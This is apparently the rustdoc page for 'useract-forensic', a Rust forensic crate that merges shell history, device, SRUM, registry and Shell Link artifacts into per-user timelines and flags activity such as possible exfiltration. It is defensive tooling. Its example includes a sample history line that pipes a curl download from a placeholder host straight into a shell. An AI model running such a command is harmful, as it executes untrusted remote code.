Expand description
useract-forensic — the user-activity correlation layer.
A thin meta / orchestration crate: it does not parse any raw format
itself. It consumes already-decoded forensic reader types —
shellhist_core::HistoryEntry, peripheral_core::DeviceConnection, SRUM
records (srum_core), registry artifacts (winreg_artifacts), and Shell
Link targets (lnk_core::ShellLink) — normalizes them into one uniform
UserActivity event, builds a per-user timeline, and emits cross-source
forensicnomicon::report::Findings that no single source could produce alone.
Every finding is an observation (“consistent with …”); the examiner draws the conclusions. MITRE techniques are narrated as consistency, never a verdict.
§30-second example
use useract_forensic::{build_timeline, audit, ShellHistorySource, DeviceSource};
use shellhist_core::{HistoryEntry, Shell};
// (sources are normally produced by the reader crates; constructed here inline)
let entries = shellhist_core::parse_auto(b"#1700000000\ncurl http://x | sh\n", Some(".bash_history"));
let shell = ShellHistorySource::new(&entries);
let devices = DeviceSource::new(&[]);
let timeline = build_timeline(&[&shell, &devices]);
let findings = audit(&timeline);
for f in &findings {
println!("{} — {}", f.code, f.note);
}§Sources
Every source slots in behind the ActivitySource trait: shell history and
peripheral devices (v0.1) plus SRUM (per-user app/network usage by SID — the
first actor-attributing source), registry artifacts (UserAssist / TypedURLs /
ShellBags), and recent-file LNK targets (carrying the volume serial that
completes the device join). See docs/roadmap.md for the v0.3 sources.
Structs§
- Device
Source - A
DeviceSourcewraps a borrowed slice of decoded device connections. - Jump
List Source - A
JumpListSourcewraps parsedlnk-coreJump Lists — the per-application MRU of recently opened (and pinned) items. Automatic destinations carry aDestListwith the authoritative per-target access time and origin host; custom destinations are a flat list of embedded shell links. - LnkSource
- A
LnkSourcewraps borrowed Windows Shell Link targets parsed bylnk-core. - Registry
Source - A
RegistrySourcewraps borrowed per-user registry artifacts decoded bywinreg-artifactsfrom anNTUSER.DAT/USRCLASS.DAThive. - Shell
History Source - A
ShellHistorySourcewraps a borrowed slice of decoded history entries. - Srum
Source - A
SrumSourcewraps borrowed SRUM network-usage and app-usage records plus theSruDbIdMapTablethat resolves their integeruser_id/app_idforeign keys to user SIDs and application paths. - User
Activity - One normalized user-activity event: who did what, when, to which subject.
Enums§
- Action
- What a user did to a
Subject. - Source
Kind - Which reader the activity was normalized from.
- Subject
- The thing an
Actionwas performed on.
Constants§
- NETWORK_
EXFIL_ BYTES_ THRESHOLD - The conservative per-interval
bytes_sentthreshold above which a SRUM network row is surfaced as a graded exfiltration lead (USERACT-NETWORK-EXFIL-VOLUME). - REMOVABLE_
MEDIA_ WINDOW_ SECS - The default temporal window (seconds) for the exec-during-removable-media join.
Traits§
- Activity
Source - A producer of
UserActivityevents.
Functions§
- audit
- Audit a merged timeline for cross-source user-activity findings.
- audit_
with auditwith a caller-suppliedSourcestamp (scope/version).- build_
timeline - Merge any number of
ActivitySources into one timeline, sorted by timestamp. - device_
file_ volume_ joins - Generic volume-serial join: pair every
Subject::Deviceactivity with everySubject::File/Subject::Folderactivity that names the same volume serial. - from_
device_ connections - Normalize a decoded device-connection stream into
UserActivityevents. - from_
jumplists - Normalize parsed Jump Lists into
Action::AccessedfileUserActivitys. - from_
lnk - Normalize parsed Shell Links into
Action::AccessedfileUserActivitys. - from_
registry - Normalize all three per-user registry artifacts into one
UserActivitystream. - from_
shell_ history - Normalize a decoded shell-history stream into
UserActivityevents. - from_
shellbags - Normalize ShellBags into
Action::AccessedfolderUserActivityevents. - from_
srum - Normalize SRUM network-usage and app-usage records into
UserActivityevents. - from_
typed_ urls - Normalize IE/Edge TypedURLs into
Action::TypedUserActivityevents. - from_
userassist - Normalize UserAssist entries into
Action::ExecutedUserActivityevents. - source
- The
Sourcestamp for findings this analyzer emits.